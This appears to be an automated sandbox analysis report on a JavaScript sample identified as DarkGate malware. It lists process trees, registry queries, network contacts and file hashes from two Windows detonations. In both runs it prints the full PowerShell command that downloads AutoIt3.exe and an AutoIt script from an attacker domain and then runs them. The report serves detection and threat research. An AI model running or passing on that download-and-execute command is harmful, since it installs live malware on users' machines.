Analysis Overview
SHA256
fec89bc473f4719f3dbe08bd92f4ee75dc9ec279032a94860d01edd5370dcf6c
Threat Level: Known bad
The file a509ba7ed20b627448a220c2924d3a07.bin was found to be: Known bad.
Malicious Activity Summary
DarkGate
Blocklisted process makes network request
Downloads MZ/PE file
Checks computer location settings
Executes dropped EXE
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Checks processor information in registry
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-10-27 02:18
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-10-27 02:18
Reported
2023-10-27 02:20
Platform
win7-20231023-en
Max time kernel
120s
Max time network
123s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2084 wrote to memory of 1980 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2084 wrote to memory of 1980 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2084 wrote to memory of 1980 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\21d51086d7aa99d7d96a5e9aa196da720fcf526fbe2421972e1c3555bb84fc8c.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443/msirzskfhle' -OutFile 'rzskfhle.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'rzskfhle.au3'"
Network
Files
memory/1980-4-0x000000001B320000-0x000000001B602000-memory.dmp
memory/1980-6-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp
memory/1980-5-0x0000000001DA0000-0x0000000001DA8000-memory.dmp
memory/1980-7-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp
memory/1980-8-0x0000000002A40000-0x0000000002AC0000-memory.dmp
memory/1980-10-0x0000000002A40000-0x0000000002AC0000-memory.dmp
memory/1980-9-0x0000000002A40000-0x0000000002AC0000-memory.dmp
memory/1980-11-0x0000000002A40000-0x0000000002AC0000-memory.dmp
memory/1980-12-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-10-27 02:18
Reported
2023-10-27 02:20
Platform
win10v2004-20231023-en
Max time kernel
91s
Max time network
154s
Command Line
Signatures
DarkGate
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\temp\AutoIt3.exe | N/A |
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\temp\AutoIt3.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\temp\AutoIt3.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4068 wrote to memory of 216 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4068 wrote to memory of 216 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 216 wrote to memory of 4556 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\temp\AutoIt3.exe |
| PID 216 wrote to memory of 4556 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\temp\AutoIt3.exe |
| PID 216 wrote to memory of 4556 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\temp\AutoIt3.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\21d51086d7aa99d7d96a5e9aa196da720fcf526fbe2421972e1c3555bb84fc8c.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443/msirzskfhle' -OutFile 'rzskfhle.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'rzskfhle.au3'"
C:\temp\AutoIt3.exe
"C:\temp\AutoIt3.exe" rzskfhle.au3
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 20.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1.202.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.154.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | sftp.bitepieces.com | udp |
| US | 185.174.101.224:443 | sftp.bitepieces.com | tcp |
| US | 8.8.8.8:53 | 224.101.174.185.in-addr.arpa | udp |
| US | 185.174.101.224:443 | sftp.bitepieces.com | tcp |
| US | 8.8.8.8:53 | 177.17.30.184.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 254.7.248.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8.3.197.209.in-addr.arpa | udp |
Files
memory/216-0-0x000001EBDB7C0000-0x000001EBDB7E2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b3fqm1u3.k0k.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/216-10-0x00007FF91E180000-0x00007FF91EC41000-memory.dmp
memory/216-11-0x000001EBDB610000-0x000001EBDB620000-memory.dmp
memory/216-12-0x000001EBDB610000-0x000001EBDB620000-memory.dmp
memory/216-13-0x000001EBDB610000-0x000001EBDB620000-memory.dmp
C:\temp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
C:\temp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
memory/216-27-0x00007FF91E180000-0x00007FF91EC41000-memory.dmp
C:\temp\rzskfhle.au3
| MD5 | 57372288639ec408a9890ffe00116d10 |
| SHA1 | fa10fa3001c32f0baf65ed0a65d71178f195194a |
| SHA256 | 12c7dd3161640f5af1537967c94898fb93d99fa94be14cf747ea1ff46b3ca7b0 |
| SHA512 | dce848abde4a2ff48738f1f793835edf9672a00dff917010f3f54a24d9ca86efcb890ff14c2398f96fd2ca178821cd829a6f1977d2a8263e9208f7ad4dc53563 |
memory/4556-30-0x0000000001690000-0x0000000001A90000-memory.dmp
memory/4556-31-0x00000000049B0000-0x0000000004CDA000-memory.dmp
memory/4556-32-0x00000000049B0000-0x0000000004CDA000-memory.dmp